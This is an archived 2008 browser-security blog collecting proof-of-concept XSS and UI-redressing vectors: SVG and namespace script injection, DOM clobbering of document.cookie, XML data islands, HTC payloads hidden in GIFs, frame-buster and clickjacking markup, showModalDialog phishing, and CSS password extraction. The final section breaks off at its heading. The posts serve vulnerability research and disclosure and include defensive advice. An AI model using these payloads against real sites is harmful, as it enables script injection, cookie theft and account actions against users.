November 26, 2008

SVG and more XML fun

Intro

SVG has first been published as recommendation by the W3C around 2001 as a compound solution for browsers to render scalable vector graphics combined with text. Most browsers natively understand the format and even the Internet Explorer is capable of rendering SVGs with help of a plug-in provided by Adobe. The contents being rendered can be influenced by either the contents of the embedded SVG file itself, inline SVG code if the embedding site provides the correct headers and namespaces and of course the SVGDOM - which allows animations.

Code

Firefox 3 and others currently provide several ways of rendering embedded SVGs - amongst other via OBJECT and EMBED tags. IMG tags are not supported yet but probably soon will be. Since more and more web applications start to utilize SVGs it's important to point out the risks attached to this XML subset. Let's have a look at some code

<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml">
   <object data="test.svg"></object>
</html>

Here we have the corresponding SVG file.

<svg xmlns="http://www.w3.org/2000/svg">
   <image onload="alert(1)"></image>
   <svg onload="alert(2)"></svg>
   <script>alert(3)</script>
   <defs onload="alert(4)"></defs>
   <g onload="alert(5)">
       <circle onload="alert(6)" />
       <text onload="alert(7)"></text>
   </g>
</svg>

The above example shows several ways of executing JavaScript via an embedded SVG. But even more interesting is the way of using inline SVG - like shown below.

<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml"
     xmlns:svg="http://www.w3.org/2000/svg">
<svg:g onload="alert(8)"/>
</html>

Firefox, Chrome and Opera even go that far allowing IMAGE tags - which work like regular IMG tags and cooperate with the events you would expect.

<image src="x" onerror="alert(1)"></image>

Conclusion

As we can see any node inside an SVG file can successfully be equipped with an load event handler. The combination of this fact with rogue SVGs being uploaded can lead to serious trouble. But what if we start to forget the SVG file and take a look at the namespaces and possibilities to inject markup that doesn't look like XHTML - but will be rendered as such?

<html xmlns:ø="http://www.w3.org/1999/xhtml">
   <ø:script src="//0x.lv/" />
</html>

The above example works in either Firefox' latest revisions, Safari, Chrome and of course Opera. Internet Explorer will neither execute the JavaScript nor render the whole site since it has still problems with XHTML and beyond. This is not new and a more overheaded variation of this vector has already been added to the XSS cheat sheet.

From the developer's perspective it's important to take care what happens inside the SVGs cavorting on a website. If it's even allowed for users to upload SVGs there's no way around scanning the content of the incoming SVG files to avoid persistent XSS vulnerabilities.

November 20, 2008

Bubbling, foreign events and Firefox

Intro

One of the major differences of the back then two important browsers was how they handled events. Microsoft worked with the bubbling phase - meaning the event first passes the parent elements and then runs down to the target element. Netscape did it the exact other way - and had the event first hit on the target element and then traverse the whole DOM upwards hitting on the parent nodes - capturing. This caused developers in the early days a lot of trouble and the W3C finally specified an approach where both kind of works and can be used at free will.

The following code illustrates how it works - watch the order the alerts will pop up and tell what element is affected.

<html>
<body>
<ul>
<li onchange="alert(this)">
<form onchange="alert(this)" action="#">
<select onchange="alert(this)">
<option>change me!</option>
<option>yes!</option>
</select>
</form>
</li>
</ul>
</body>
</html>

The interesting thing is that the most current Firefox versions still seem to carry a lot of the older code from back in the days when Mozilla was fresh and behaves extremely strange when coming to bubbling and foreign events

Some more code

Normally a LI element would not work together with an onselect event handler - which is good because if it would Firefox would kind of have to fire a select event as soon a list bullet is being clicked. But during the bubbling phase it actually does. Of course only in Firefox and no other of the tested browsers. The following example demonstrates that.

<html>
<body>
<ul>
<li onselect="alert(this)">
<form onselect="alert(this)" action="#">
<input type="text" onselect="alert(this)" value="select me!" />
</form>
</li>
</ul>

At least this doesn't work for all events - onerror and onload seem to be ignored and don't generate the above described effect. For an attacker that means events can be captured even if a filter would block the injection of matching elements - in case the injectable element can be placed as parent node of the element that handles the event and is meant to be hijacked.

Conclusion

That behavior could be described as a bug - and is not reproducible on any other browser than Firefox and other Gecko based software. Even more irritating is the fact that Firefox seems to have severe difficulties with parsing the page in the right order when bubbling. Let's have a look at the next example.

<html onclick="alert(this)">
<body onclick="alert(this)">
<div onclick="alert(this)"></div>
<div onclick="alert(this)">
<a href="#" onclick="alert(this)" id="test">foo</a>
</div>
</body>
</html>

On some machines the last alert Firefox produces says [object Window] - on others it says [object HTMLBodyElement and not the HTML object as any other browser would do. So as it seems the parser has difficulties parsing the DOM tree during the bubbling phase - which again opens a small attack window in certain scenarios.

The series of articles on events will be continued the next weeks so stay tuned for more.

November 18, 2008

Generating events for fun and profit

Intro

It's not new or strange what this mini article is about - but since I had a hard time googling for it I thought why not writing some words about it. The DOM provides a set of methods to easily create and distribute events. That means you can simulate clicks or other events on arbitrary DOM elements for testing or even exploiting purposes.

Code

Let's have a look at the code that is necessary to generate a regular click in Firefox, Opera Webkit based browsers.

event = document.createEvent("Events");
event.initEvent('click', true, true);

document.dispatchEvent(event);

for(var i in event) {
alert(i + ' - ' + event[i]);
}

See - it's very easy. The MDC also provides some good documentation on methods like document.createEvent or document.dispatchEvent. Unfortunately this code won't work on IE - but there's an alternative using the proprietary method event.fireEvent.

Conclusion

Not much to say here - but what actually is weird is what you can see after iterating and echoing through the generated event object in Gecko based browsers. There's a whole bunch of quasi constants telling which events are available like with the other browsers - plus some extra stuff like TEXT or XFER_DONE. Safari and Chrome provide a property called clipboardData wrapped inside the event object - but it is set to undefined.

It doesn't seem to be be possible for any of the tested browsers to delegate events to off-domain resources - neither for popups, showModalDialog nor iframes.

Interesting is nevertheless that Firefox 3 allows to disable all system hot-keys on a specially crafted site using KeyEvents specified in DOM3. The user can neither save the site with Ctrl-S anymore, nor make a screen shot or turn to full screen. Hot-keys like Alt-F and Ctrl-T are disabled too of course.

<body onkeypress="alert(this.event);return false;"></body>
<script>
event = document.createEvent("KeyEvents");
event.initKeyEvent("keypress", true, true, null, true, false, false, false, 0, 0);
document.dispatchEvent(event);
</script>

Firefox and Webkit based browsers are the only one that support KeyEvents but Firefox is the only one that allows this kind of overriding - not even IE6 is that "cool". Safari 3.2 and the above listed code leads to a strange behavior on most test machines too - the browser skin simply turn black. The following code crashes Firefox 3.0.3 with latest Firebug installed - this combo doesn't seem ready for PopupBlockedEvents.

<script>
  event = document.createEvent("PopupBlockedEvents");
  console.dir(event)
</script>

Events are more than a wide sphere - and worth at least another article about oddities when coming to bubbling and capturing getting published the next days.

November 12, 2008

HTML Form Controls reviewed

Intro

Inspired by a post by John Resig about conflicts between HTML element IDs and DOM properties/JavaScript variables I started to think about related techniques that would lead to security risks or even vulnerabilities. Garrett Smith and Frank Manno also crafted an excellent writeup about this topic and related problems if you prefer a deeper introduction into form controls and unsafe names. And guess who copied this feature from whom?

Some Code

Let's have a short look at what we are talking about here. First we have a bunch of markup - a simple form. Notice the IDs the elements have.

<form id="a">
<input id="b" />
</form>

It's now possible to access the elements directly with window.a and window.b - or just a or b. We can also traverse through a to get b with a.b. The traversal only works for elements which make their child elements accessible via a numeric index - this being basically forms and their input elements. You can do the same with name attributes of images and forms but only in the document scope - we won't touch that aspect here.

But what if the form elements have IDs like location and href? Theoretically they should be accessible via location.href - generating a severe conflict with an already existing and pretty important DOM property.

<form id="location">
<input id="href">
</form>

Opera, Firefox, Gecko and Safari know how to deal with attempts like these. Most of the really interesting DOM properties are protected from being touched via form controls - such as navigator, window, document, location etc. But actually it's possible to overwrite a lot of DOM properties like the following example shows.

<form id="a">
<button id="length">0</button>
<button id="style">1</button>
<button id="id">2</button>
<button id="className">3</button>
<button id="baseURI">4</button>
<button id="textContent">5</button>
<button id="innerHTML">6</button>
<button id="title">7</button>
<button id="elements">8</button>
<button id="method">9</button>
</form>

The element with the ID id can now be accessed via id. Or a.id - since it resides in a's properties too. We can also set variables - for example via var b = id.id - which in this case would be id. The next example tries to be less confusing and shows how window.lang can be overwritten and then have it's vale being executed by a single assignment. There's no reason why someone would write code like that but it works.

<a id="url" href="javascript:alert(1)">
<script>
location=url;
</script>

Conclusion already?

Altogether this thing doesn't seem to be very interesting from a security point of view. The juicy properties can't be overwritten, an attacker has to be able to inject form elements with IDs - most WYSIWYG implementations allow that by the way. What makes the issue even more boring is the fact that if the variable has already been set before the markup is being parsed, it won't get reset by the injected HTML elements.

But - maybe you noticed one important browser missing on the above mentioned list. The Internet Explorer of course. IE6 up to IE8 Beta 2 don't care if properties like location or document shouldn't be set via markup and IDs. So - incredible but true - the following code works perfectly in all tested IE versions.

<form id="document" cookie="foo">
<script>alert(document.cookie)</script>

Or:

<form id="location" href="bar">
<script>alert(location.href)</script>

It's also possible to interfere with really important variables like document.cookie, document.body.innerHTML and almost all others I tested. The technique doesn't depend on doctype or apparently other factors to work. Furthermore you can define own attributes and have their value being accessible via traversal - like in the document.cookie example.

<form id="document">
<select id="body">bar</select>
</form>
<script>
alert(document.body.innerHTML)
</script>

Scripts being used on millions of pages like Google Analytics work with those properties and are usually included right before the closing body tag. Depending on the position where the markup containing the malicious attributes and IDs can be injected it's at least possible to influence the JavaScript application flow or in the worst case execute arbitrary code - nested in the HTML attributes. In case an application allows the user to post inactive HTML it's very important to make sure the submitted and to be rendered elements mustn't contain IDs. In some cases it may make sense to initially set the properties with themselves - and therewith blocking them from being overridden by markup.

November 07, 2008

Fun with XXE, Data Islands and parseURI

Intro

Since the browser that changed it all was released in early 1999 most of the major payers in this section have been toying around with XML, processing, displaying and transforming it. Thus most browsers know one or a lot more ways to fetch data from other resources, work with DTDs and entities. Some of them are being shown and explained in this article.

Code

Firefox and all other major browsers but IE implemented an XML feature called XXE - XML eXternal Entities. Securiteam wrote about this issue many years ago and it found a kind of resurrection in the Google Caja Wiki. Basicaly XXE means it's possible to define entities for complete strings and markup stripes in the DOCTYPE area of the sites header.

<!DOCTYPE xss
[
<!ENTITY x "<script>alert(this)</script>">
]
>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
&x;
</head>
</html>

Unfortunately is doesn't seem to be possible to inherit the entities from the site itself to embedded frames or IFrames. Otherwise it would have been possible to inject tons of script code with just a combination or &, some word characters and a semicolon.

Internet Explorer covers its ignorance against XXE with a feature called Data Islands. This allows to add a XML tag to the document linking to a resource containing valid XML. If the parser later on finds certain attributes in the DOM the data from the XML is being checked for a match and if everything fits right applied to the markup.

There are some basic security rules that forbid the data from the XML file to be applied to a script tag or escaping certain special chars before they are placed in the DOM - but that can be easily circumvented.

<html>
<body>
<xml id="xss" src="island.xml"></xml>
<label
onmouseover=eval(this.innerHTML)
style=color:#fff;display:block;width:100%;height:100%
datasrc=#xss
datafld=payload>

Here we can see the corresponding XML data with embedded JavaScript code. Surprisingly this time IE had problems with parsing the data when being encoded to UTF-7 - we only managed to get the script code being executed in combination with ISO or UTF-8 encoding.

<?xml version="1.0"?>
<x>
<payload>
document.write(
String.fromCharCode(
60,105,109,103,32,115,114,99,61,120,32,111,110,
101,114,114,111,114,61,97,108,101,114,116,40,34,
88,83,83,34,41,62
)
)
</payload>
</x>

When using the dataformatas parameter it's even possible to treat the incoming XML data as HTML. IE8 won't allow script tags but can be fooled to execute JavaScript code via img tag and error handler. Here's the markup:

<html>
<body>
<xml id="xss" src="island.xml"></xml>
<label dataformatas="html" datasrc="#xss" datafld="payload"></label>
</body>
</html>

Andthe corresponding Data Island code:

<?xml version="1.0"?>
<x>
   <payload>
       <![CDATA[<img src=x onerror=alert(top)>>]]>
   </payload>
</x>

Opera knows XXE as well as Safari and Chrome - but of course no Data Islands. But Opera also features another way of fetching XML content into the DOM. The function is called parseURI and is a method of the the LSParser class which is located in the document.implementation object. All those features are documented in the DOM Level 3 Load and Save specs.

<script>
var parser = document.implementation.createLSParser(1, null);
var mdlfile = parser.parseURI('data:;,<x>document.write(String.fromCharCode(88,83,83))</x>');
eval(mdlfile.documentElement.text)
</script>

The method can neither access off-domain resources nor the file system, opera: or javascript: URIs. But dataURIs are allowed and thus the content of the string to parse can be chosen quite arbitrarily. Of course this time one can go all the ways and encode the string to UTF-7, base64 or whatever is necessary.

Conclusion

One might wonder that browser vendors are each and everyone brewing their own sub-standards and XML soups. Any solution has its flaws but no one besides the Opera allows to include data which is not located on the same domain. Once parseURI can be executed combined with a dataURI the possibilities are endless - and it's very hard to determine origin and content of the payload. For all other described variants one has to have at least an XML file lying around on the same domain.

It's 2008 right now and browser vendors seems to have learned what the cross domain border is. None of the techniques was able to download content from off-domain resources - except the dataURI issue with parseURI and Opera. Opera by the way features a lot more methods and properties inside the document.implementation object which we will shed more light on in later articles.

Frame-Buster-Buster

Intro

Frame buster are great little helpers that make sure hat an applications view can't be framed. There most times a very simple check if self is type equal with top. If this is not the case top.location will be set to self.location. Pretty easy. But what possibilities are there to circumvent this technique?

top!==self?top.location.href=self.location.href:false;

Some code

The only browser that is really easy to trick into executing code disabling frame busters is Chrome - latest release. Since Webkit supports the magic setter methods like __defineSetter__ it's possible to overwrite the location.href setter. Firefox doesn't allow that anymore - but gets tame with the help of event handlers. At least the page can't be left unless the user has confirmed that action at least twice.

<html>
<head>
<script>
  try {
      location.__defineSetter__('href', function() {return false});
  } catch(e) {
      justFalse = function() {
          return false;
      }
      onbeforeunload = justFalse;
      onunload = location.href = location.href;
  }
</script>
</head>
<body>
<iframe src="framed.html"></iframe>
</body>
</html>

Conclusion

IE and Opera have done their job - and this technique can not be used to disable frame busters on framed sites. Thanks to the recently created FUD wave these topics have been resurrected and become interesting again. Reminds of AJAX and JavaScript.

November 06, 2008

NoEmbed - no click?

Intro

Mozilla once implemented an non standard tag for markup to display if there's no appropriate player for the embedded content. Like noframes, noembed and noscript. This conditionally displayed tag is not very well known and doesn't reside on too many blacklists. Nevertheless all browsers but IE treat this element as a DIV or even HTML tag and display it when outfitted with styles. Same for noframes - might well be the usually wrong DTD - but at least not for noscript.

Code

Here's an example of artificially bloated noembed and noframes tags.

<html>
<head>
<style>
 #noframes, #noembed {
     background: red;
     display: block;
     color: red;
     margin: 10px;
 }
</style>
</head>
<body>
 <noframes id="noframes" onclick="alert(this)">
     X
 </noframes>
 <noembed id="noembed" onclick="eval(this.innerHTML)">
     alert(this)
 </noembed>
</body>
</html>

On the other hand it's not really surprising. Most browsers handle unknown tags like inline elements or in case of Firefox HTMLUnknownElement. This means one can bind most interaction dependent event, create huge overlays via in-line styles etc.

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
</head>
<body>
 <do_what_now onclick="eval(this.innerHTML)">alert(this)</do_what_now>
</body>
</html>

Noframes and noembed are of course no unknown tags by the way. The WASC Script Mapping Project claims there are no event handlers for these tags available but the code examples prove this faulty. No offense though - this tool is still a very useful and valuable resource.

Conclusion

Not much to say. The only two browsers behaving reasonably are Opera and most versions of IE. Webkit and Chrome are way too tolerant again. At least the before mentioned examples prove - as well as the following - that blacklists for HTML filtering are useless due to the fact that most browsers don't use a white-list before rendering. But let's not be too harsh - none of the tested browsers rendered an IFrame wrapped in noscript or even noframes.

<y? style = "
      top:10px;
      width:99%;
      height:99%;
      position:absolute;
      background:red;
      display:block;
  "
  onmouseover = "with(this.style)display='none'"
  onmouseout  = "with(this.style)display='block',background='white'">
&nbsp;
</y?>

November 05, 2008

Why use expression() when there's HTC

Intro

HTML Components (HTC) have first time found their way into implementation with Internet Explorer 5. Since then HTC has been a topic without a lot of light being shed on - almost similar to HTA. Meanwhile this feature has been almost forgotten - which is kind of a shame since this is the second way for IE browsers to execute JavaScript and other code being triggered and included by style sheets. We mentioned before that expression() will have a hard time on IE8 - so why not working with the alternative.

HTC files have to be located on the same domain the site using this feature is running from. That might sound like massively narrowing the attack window but almost similar to the earlier mentioned XBL issue it isn't. HTC files can be outfitted with an almost infinite amount of padding. As long as there is some HTC code inside the included file the browser meaning IE will accept and parse it and execute the nested code.

Some code

Let's have a look at a brief example. There's an inclusion of a HTC file with an almost arbitrary file name suffix - thanks to Apache again.

<html>
<head>
<style>
    body {
        behavior: url(test.gif.htc);
    }
</style>
</head>
<body>
<h1>CLICK ME!</h1>

</body>
</html>

The HTC file itself is actually a valid GIF file that is being processed without any problems by imaging tools, browsers and of course the usual method checking for the right MIME type, image dimensions et cetera. Here's the GIF.

GIF89ad�d����������!�Y,����d�d��s��������ڋ�޼���H�扦�ʶ���L������� �Ģ�L*�̦� �J�Ԫ��j�ܮ�����N���� ����������(8HXhx��������iX�

Above we see what the file looks like in a standard text editor. To reveal the payload the file has to be opened in a hex editor. It's also possible to choose almost random file types like archives, other image types, MP3s, videos etc.

Decoded the output will look like this

GIF89ad.d..........!.Y
<PUBLIC:COMPONENT>
<PUBLIC:ATTACH EVENT="onclick" ONEVENT="alert(1)" />
</PUBLIC:COMPONENT>
.,....d.d...s..................H...........L...
.............L*......J......j............N.....
................(8HXhx.........iX..;

Conclusion

Understanding and creating HTC files is easy - and it's even more easy to hide them in arbitrary file containers and manage to get those files uploaded to the targeted web server.

If Microsoft depends on this feature or fears breaking the web by removal there should be at least some validation that makes sure that a HTC is really a HTC - and nothing else being wrapped around the payload. Applications that provide uploads of images or whatever file types should make sure that the content of the uploaded files is being checked for suspicious patterns and blocked in case of a finding.

ShowModalDialog() and Firefox

Intro

Firefox has been "reverse engineering" a lot of features Internet Explorer ventured to release past the W3C specifications - including the already mentioned oncopy/oncut/onpaste events. A very special one of those is the implementation of showModalDialog(). Imagine this feature to be like an alert - but only filled with arbitrary HTML via a URL, dataURI or javascript: URI.

Code

<html>
<head>
<script>
onfocus = function() {
 name = 'javascript:with(this)with(document)write(cookie)';
 showModalDialog(
     name,
     null,
     'unadorned:no,dialogWidth:4000%,dialogHeight:2000%,scroll:0,status:0,resizable:0,edge:sunken'
 );
 onfocus = null;
}
</script>
</head>
<body>
</body>
</html>

Interesting is on the one hand that it's possible to circumvent the pop-up blockers in most recent browser releases by just choosing window.onfocus as triggering event. Firefox 3 shows a warning on the originating view that a pop up has been blocked - but renders the modal window anyway. If triggered early enough it also outruns a window.onload. Onfocus seems to be considered as an event that has to be triggered by user interaction so the pop up blocker lets it pass - like with onclick or ondblclick. And not to forget - onfocus on window fires as soon as the window's document is starting to load.

The major problem is the fact that the showModalDialog() method is either a member of window and can be parametrized. It's therefore possible to let a GUI element pop up that might give the user the impression that it's a browser instance itself. Just add most common browser buttons as image map - depending on the used user agent, give the window the right dimensions and position and most users will fall for it.

Furthermore the dialog being spawned cancels all code execution happening between the time of the spawning and the moment the modal is being closed again. The browser can access the origination window object as well as methods like dump().

Conclusion

ShowModalDialog() is one of the more or less useless and standard agnostic techniques that is predestined for fishing without even a real world use for most if not all applications. Security aware developers might want to make sure by overwriting this method that an XSS on their platform has less impact than necessary. Thanks to the flexibility of JavaScript it's more easy then expected - just set showModalDialog = null at the earliest point in your DOM that is possible - most perfectly at a spot where no user input is being expected before. Safari and Opera are by the way not affected - they just ignore the method call or throw an error since it's not implemented.

November 03, 2008

Hidden fields vs. CSS

Intro

A hidden field is supposed to be hidden - invisible for the user as long as he uses an unmodified browser and isn't watching the sources via view-source: or similar. Not to forget the agnostic regarding mouseover, error, load, focus and other events. So for example if an attacker manages to inject content into one of the hidden field's attributes and can't break out the attack window is very small.

Some markup

So it's not very surprising that most user agents treat a hidden field as hidden - no matter what styles have been applied to the element. The following code should thus result in a plain white page without any visible elements or even event handlers waiting for interaction.

<html>
<head>
</head>
<body>
<form action="#">
<input type="hidden" id="hidden" value="secret!" />
</form>
</body>
</html>
<style>
input[type=hidden] {
 display: block;
 height: 100px;
 border: 2px solid red;
}
</style>
<script>
document.getElementById('hidden').onmouseover = function(){
 alert(this.value);
};
</script>

And yes - all browsers show a white page - IE6-8, Chrome, Opera, even Safari. Only Firefox shows a big red bordered bar which responses with an alert when hovered with the cursor. The element can even be selected via CSS pseudo classes.

<html>
<head>
</head>
<body>
<form action="#">
<input type="hidden" id="hidden" value="secret!" />
</form>
</body>
</html>
<style>
input[type=hidden] {
 display: block;
 height: 100px;
 border: 2px solid red;
}
input:hover {
 border: 2px solid green;
}
</style>

Of course it's also possible to extract password field values with that technique

<html>
<head>
<style>
input {
 a:expression(alert(this.value));
}
</style>
</head>
<body>
<form action="#">

<input
 type="password"
 value="secret!"
/>
</form>
</body>
</html>

Opera by the way provides a very special way to extract passwords in clear text - with the :after or :before pseudo classes and the attr() value for the content property.

<html>
<head>
<style>
input[type=password]:after {
 content: attr(value);
}
</style>
</head>
<body>
<form action="#">

<input
 type="password"
 value="secret!"
/>
</form>
</body>
</html>

We are losing track with the password fields - and will be talking about them in a later article anyway so back to the hidden fields.

In IE6-8b2 you can of course inject expression() CSS - but the CSS selector input[type=hidden] doesn't work. So surprisingly it's possible to select just input and filter the hidden fields in the expression statement afterwards with just input as selector.

Conclusion

IE6-8 allow to select hidden input fields with CSS and bind JavaScript code. That's not very nice but possible to coexist with. Firefox on the other hand really shows how not to do it again. Making hidden fields visible with CSS is definitely crossing a border - at least the one between data and presentation.

It's also possible in FF3 to select hidden fields via CSS - be it with input[type="hidden"], input[type^="hid"], input[type$="den"], input[type|="hidden"] or even input[type~="hidden"].

And just by the way - this shouldn't be possible either:

<html>
<body>
<form action="#">
<input type="hidden" id="hidden" value="secret!" />
</form>
</body>
</html>

<label for="hidden">Click</label>
<script>
document.getElementById('hidden').onclick = function(){
  alert(this.value);
};
</script>

XHR Request method fuzzing

Intro

The JavaScript XHR API allows the developer to chose the used request method - and surprisingly most user agents don not validate this value before actually firing the request. This leads to certain interesting problems - like the following code shows.

Code

Here we chose a very long string consisting of $ signs - string length should be around 8 million characters.

<html>
<head>
<body>
<script>
    var x = new XMLHttpRequest();
    var m = '$$';
    for(var i=0; i <= 21; i++) {
        m += m;
    }
    x.open(m, '404.html', false);
    x.send(null);
</script>
</body>
</html>

Conclusion

The result of the above code being executed is surprising. The latest Chrome release for example crashes in terror producing pop ups all over the screen. Firefox most times freezes the whole system for a long time - but no real crashes yet. Safari just dies silently and Opera isn't impressed at all. IE7 and 8 throw an error message about an invalid argument - indicating a working white-list too.

These examples again show why validation is important for all values being editable by the user, developer or attacker. The Chrome issue has by the way been reported several weeks ago.

Clickjacking and event handlers

Intro

The term click-jacking has been around for some weeks including the usual FUD. One of the most substantial reasons for this markup based problem is the fact that combining absolute positioning with smart event handling leads to trouble.

It's (of course) possible to place an IFrame in a sites markup and overlap certain elements in it with DIVs and other elements. The JavaScript event handling model or even plain CSS declarations now allow altering the visibility state of the overlapping elements and controlling the events bound to the element - for example when hovering it.

Some markup

This is a very basic example that simply toggles the links visibility when hovered and thus makes sure that the overlapped link will be clicked.

<html>
<head>
<style>
    html, * {
        padding: 0;
        margin: 0;
        border: 0;
    }
    a#link {
        position: absolute;
        left: 8px;
        top: 8px;
        _left: 12px;
        _top: 17px;
    }
    a#link:hover {
        visibility: hidden;
    }
</style>
</head>
<body>
<iframe id="iframe" src="good.php"></iframe>
<a id="link" href="bad.html">Click</a>
<div id="info"></div>
</body>
</html>

There's no event handling yet - but since the whole action probably happens on the attacker's domain this feature can be added via XBL or expression() and maybe someday the W3C binding(). If XBL or comparable is not an option the click theft including event management can still be done with plain JavaScript.

<html>
<head>
<style>
    html, * {
        padding: 0;
        margin: 0;
        border: 0;
    }
    a#link {
        position: absolute;
        left: 8px;
        top: 8px;
        _left: 12px;
        _top: 17px;
    }
</style>
</head>
<body>
<iframe id="iframe" src="good.html?deletemyaccount"></iframe>
<a id="link" href="bad.html">Click</a>
<div id="info"></div>
<script>
    var link    = document.getElementById('link');
    link.onmouseover = function() {
        this.style.display = 'none';
        document.getElementById('info').innerHTML = 'just hovered: ' + this.href + '<br>';
        setTimeout(function() {
            link.style.display = 'inline';
        },150);
    }

</script>
</body>
</html>

Conclusion

Both rather simple examples work in FF3, IE8 and Safari. Opera works quite fine with the first one but has some problems with the second variant. It's needless to say what can be done with this technique. In the described examples a simple frame buster turns out to be useful.

if(top !== self) {
    top.location.href = self.location.href;
}

Nevertheless the victim of this attack technique has to visit a website controlled by the attacker - either via a phishing attempt or a cross site scripted 3rd party website. The Firefox extension NoScript meanwhile offers quite good protection against most click-jacking scenarios.

Oncopy/oncut/onpaste in FF3

Intro

It's not really new and has been available with the first FF3 revisions. But at least the question remains if copying useless and non-standard features from IE is really such a good idea.

The mentioned events do not exactly enable clipboard stealing but compared to the ancient onselect it's easier to grab user selections from arbitrary tags - and not just from form elements. Also there's some kind of relevancy bonus too. If a user copies some text from a website this text is probably important for him - and therefore also interesting for an eavesdropper who cross site scripted the affected website.

Code

Let's have a look at some code

<html>
<head>
</head>
<body
  oncopy="alert(getSelection().getRangeAt(0).extractContents().textContent)"
  oncut="alert(getSelection().getRangeAt(0).extractContents().textContent)"
  >
<p>copy/cut/paste me!</p>
<textarea
  id="paste"
  onpaste="setTimeout(function(){alert(document.getElementById('paste').value)},50)">
</textarea>
</body>
</html>

Conclusion

This is neither new nor very hot but an example for copying a 'bad idea' feature from a 'bad idea' browser (not speaking of IE8 yet but earlier versions) and widens the attack window against the user and their privacy. Rebuilding proprietary features invented by the IE team is one thing - picking those which could be security critical is something else.

November 02, 2008

Cross site scripting with @import

Intro

It's been getting harder and harder to get JavaScript executed via content in style sheets or to nest payload or other useful code inside CSS selectors and properties. IE8 will get rid of expression() for most rendering modes soon, FF at least tries to narrow the door crack and Webkit respectively Chrome going to to be a topic in a future article. Opera doesn't have anything comparable in stock yet.

Pretty interesting is though how the browsers white-list the properties that are allowed - on how the can be accessed via DOM. Mozilla browsers ship a list of known properties and don't allow any others to be present. IE8 brings a white-list too. Gareth Heyes recently presented the use of an IE only CSS property to inject expression() CSS via name into document.styleSheets[0].cssText - but we remember - expressions be gone soon. So let's have a look at another approach - via @import.

Code

Imagine the attacker has found a way to change the path pf the @import directive in the attacked web site's style sheet. And he can either include an on- or off-domain resource. Expressed in code this would look like this:

<html>
<head>
<style>
@import url("evil.php");
</style>
</head>
<body>
<div id="test"></div>
</body>
</html>

And of course the corresponding style sheet. Note that the actual payload is embedded inside the property value for background - a value that can hardly be validated via white-lists.

i{background: url('<img src=x onerror=alert("XSS")>')}

Now there's a way needed that allows to read the value of the background property and add it to the current site's markup. It's not so easy to access the values of imported CSS properties but both FF and IE provide their own way.

<script>
window.onload = function() {
try {
    document.body.innerHTML = document.defaultView.document.styleSheets[0].cssRules[0].styleSheet.cssRules[0].cssText;
} catch(e) {
    document.body.innerHTML=document.styleSheets[0].imports[0].cssText;
}
}
</script>

The property value passed the white-list checks and gets written into the DOM via innerHTML and thereby the markup tree is being parsed again. Which leads to execution of the alert. Speaking of white-lists - it's pretty interesting what Microsoft is trying with their new and proprietary toStaticHtml() method. It's almost impossible letting active code slip through unless hardcore char-set/encoding based obfuscation is being used but the following examples pass untouched.

alert(window.toStaticHTML('<label style="overflow:hidden;background:red;display:block;width:4000px;height:4000px;position:absolute;top:0px;left:0px;" for="submit">Click'));
alert(window.toStaticHTML('<base href="http://attacker.com/"></base>'));
alert(window.toStaticHTML('<marquee>foo</marquee>'));

Conclusion

There are still ways to embed JavaScript payload in style sheets but the possibilities to have the code executed without any trigger in the markup are shrinking in numbers. It will be interesting to see how the next Safari releases deal with -webkit-binding and how Google will embed this into Chrome. Currently there's no support enabled for -webkit-binding in Chrome.

November 01, 2008

Formjacking with labels

Intro

Labels for form elements are great - they tell the user what and where to click - and sometimes even why. Good thing too is that a click on a label sets the assigned form element to be focused. Great for them small check boxes - bad for submit buttons. Yes. Submit buttons.

Some Markup

Let's have a look at the following markup:

<html>
<body>
<label for="submit">
Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh
euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad
minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut
aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit
in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla
facilisis at vero et accumsan et iusto odio dignissim qui blandit praesent
luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum
dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod
tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim
veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip
ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in
vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla
facilisis at vero et accumsan et iusto odio dignissim qui blandit
<form action="test.php" method="post">
  <input tabindex="1" type="text" name="text" value="text" />
  <input tabindex="2" type="password" name="password" value="secret!" />
  <input tabindex="3" type="submit" id="submit" value="Go!" />
</form>

Clicking or even selecting the text above the form elements causes the form to auto-submit - the label gave the submit button the focus which basically means it clicked it. The previous article described what can happen if the attacker controls the styles and does bad things with the :focus selector. Now we see how easy it is to force the user into focusing a certain element.

Again it's Mozilla browsers which are vulnerable (and Safari as well as IE8) - Opera sets a focus on the submit button - but doesn't submit the form afterwards. At least this technique doesn't work for file elements.

But it gets even better. If a link is embedded inside the label and this link is being clicked all browsers but Opera first submit the form and then follow the link.

<html>
<body>
<label for="submit">
Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh

<a href="foo.php">click</a>

vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla
facilisis at vero et accumsan et iusto odio dignissim qui blandit
<form action="test.php" method="post">
  <input tabindex="1" type="text" name="text" value="text" />
  <input tabindex="2" type="password" name="password" value="secret!" />
  <input tabindex="3" type="submit" id="submit" value="Go!" />
</form>

Same is of course for button tags. And the following code proofs that the user agents actually fire a click towards the element being bound to the label. Not a focus but an actual click.

<html>
<body>
<label for="submit">

Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh
vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla
facilisis at vero et accumsan et iusto odio dignissim qui blandit

<button onclick="alert(1)" id="submit">click</a>

Conclusion

If users are allowed to post HTML make sure that they can't just add labels. Most HTML filters can be told to strip certain evil tags - label is a stealthy candidate but definitely earns his place inside blacklists - respectively outside white-lists. HTMLPurifier by the way strips labels per default.

Focus and obfuscated binding of death in FF3+

Intro

